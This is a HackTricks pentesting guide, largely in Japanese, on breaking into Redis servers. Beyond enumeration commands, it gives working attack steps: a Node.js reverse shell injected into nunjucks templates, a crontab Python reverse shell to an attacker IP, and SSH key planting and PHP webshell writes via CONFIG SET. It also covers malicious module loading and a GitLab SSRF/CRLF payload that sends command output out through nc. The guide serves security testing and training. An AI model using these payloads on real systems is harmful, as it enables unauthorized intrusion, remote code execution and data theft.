hacktricks/network-services-pentesting/6379-pentesting-redis.md

342 lines
22 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
From [the docs](https://redis.io/topics/introduction): RedisはオープンソースBSDライセンスのインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。
デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。[ここでssl/tlsを使用してRedisを実行する方法を学んでください](https://fossies.org/linux/redis/TLS.md)。
**Default port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## 自動列挙
Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## 手動列挙
### バナー
Redisは**テキストベースのプロトコル**であり、**ソケットにコマンドを送信するだけで**、返された値は読み取ることができます。また、Redisは**ssl/tls**を使用して実行できることを忘れないでください(ただし、これは非常に珍しいです)。
通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
最初のコマンドとして試すことができるのは **`info`** です。これは、Redisインスタンスの情報を含む出力を返すか、次のようなものが返される可能性があります
```
-NOAUTH Authentication required.
```
In this last case, this means that **あなたは有効な認証情報が必要です** to access the Redis instance.
### Redis 認証
**デフォルトでは** Redis は **認証情報なしでアクセス可能です**。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定することができます**。\
_**redis.conf**_ ファイルのパラメータ `requirepass`**パスワードを設定することが可能です** **または一時的に** サービスが再起動するまで接続して実行することで: `config set requirepass p@ss$12E45`。\
また、_**redis.conf**_ ファイル内のパラメータ `masteruser`**ユーザー名を設定することができます**
{% hint style="info" %}
If only password is configured the username used is "**default**".\
また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを **外部から確認する方法はありません**
{% endhint %}
In cases like this one you will **有効な認証情報を見つける必要があります** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**有効な認証情報を見つけた場合は、接続を確立した後にセッションを認証する必要があります** with the command:
```bash
AUTH <username> <password>
```
**有効な資格情報**には、次のように応答されます: `+OK`
### **認証された列挙**
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得した場合は、次の**コマンド**を使用してサービスの列挙プロセスを開始できます:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**他のRedisコマンド** [**はこちら**](https://redis.io/topics/data-types-intro) **と** [**こちら**](https://lzone.de/cheat-sheet/Redis)**.**
インスタンスの**Redisコマンドは** _redis.conf_ **ファイルで名前を変更したり削除したりできます**。例えば、この行はFLUSHDBコマンドを削除します:
```
rename-command FLUSHDB ""
```
Redisサービスを安全に構成する方法についての詳細はこちら: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**で**25件の最も遅いクエリ**を取得することもできます。
さらに興味深いRedisコマンドに関する情報はここで見つけることができます: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **データベースのダンプ**
Redis内の**データベースは0から始まる番号**です。コマンド`info`の出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます:
![](<../.gitbook/assets/image (766).png>)
または、次のコマンドで全ての**キー空間**(データベース)を取得できます:
```
INFO keyspace
```
その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
`GET <KEY>`を実行中に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。
キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**npmを使用してデータベースをダンプする**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **またはpython** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
## Redis RCE
### インタラクティブシェル
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)は、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)の情報。**Webサイトフォルダ**の**パス**を知っておく必要があります:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
​ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。
### テンプレートウェブシェル
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈された**HTMLにrevシェルを注入した**ことがわかります。
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュしますので、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要がありますそして自動的に再起動されることを期待します
{% endhint %}
### SSH
例 [こちらから](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_が見つかり、これを知ることで、ssh **でredisユーザーとしてアクセスするために`authenticated_users`ファイルを書き込む場所がわかります**。書き込み権限のある他の有効なユーザーのホームを知っている場合も、それを悪用できます:
1. PCでssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`**
2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. ファイルをredisにインポートします **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 公開鍵をredisサーバーの**authorized\_keys**ファイルに保存します:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**できます: **ssh -i id\_rsa redis@10.85.0.52**
**この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
この方法はビットコインを得るためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14)
### Load Redis Module
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。
2. 次に、**コンパイルされた**モジュールを**アップロードする方法**が必要です。
3. `MODULE LOAD /path/to/mymodule.so` で**アップロードされたモジュールを**ランタイムで**ロード**します。
4. `MODULE LIST` で**ロードされたモジュールをリスト**して、正しくロードされたか確認します。
5. **コマンドを実行**します:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 必要に応じてモジュールをアンロードします:`MODULE UNLOAD mymodule`
### LUA sandbox bypass
[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)で、Redisが**Luaコードをサンドボックス化して実行するために**コマンド**EVAL**を使用していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。
Luaから脱出するためのいくつかの**CVE**
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Module
マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。これは、脆弱性のあるredisをスレーブredisと見なすことができ、マスターレディスに接続されている自分の制御下にある場合、コマンドを自分のredisに入力できることを意味します。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRFがRedisと通信する
**Redis**に**クリアテキスト**リクエストを送信できる場合、リクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、**それと通信する**ことができます。
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**おそらくCRLF vulnを使用してや**POSTパラメータ**を**制御**できる場合、任意のコマンドをRedisに送信することができます。
### 例: Gitlab SSRF + CRLF to Shell
**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしましたこれにより127.0.0.1にアクセスします)、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。
したがって、これらの脆弱性を**悪用してRedisインスタンスと通信することが可能**であり、**gitlab**のキューを管理し、そのキューを悪用して**コード実行を取得することができました**。Redisキュー悪用ペイロードは:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
そして、**URLエンコード**リクエスト**を利用したSSRF**と**CRLF**を使用して`whoami`を実行し、出力を`nc`経由で返すのは次の通りです:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
ハッキングのスリルと挑戦に深く関わるコンテンツに参加してください
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得てください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}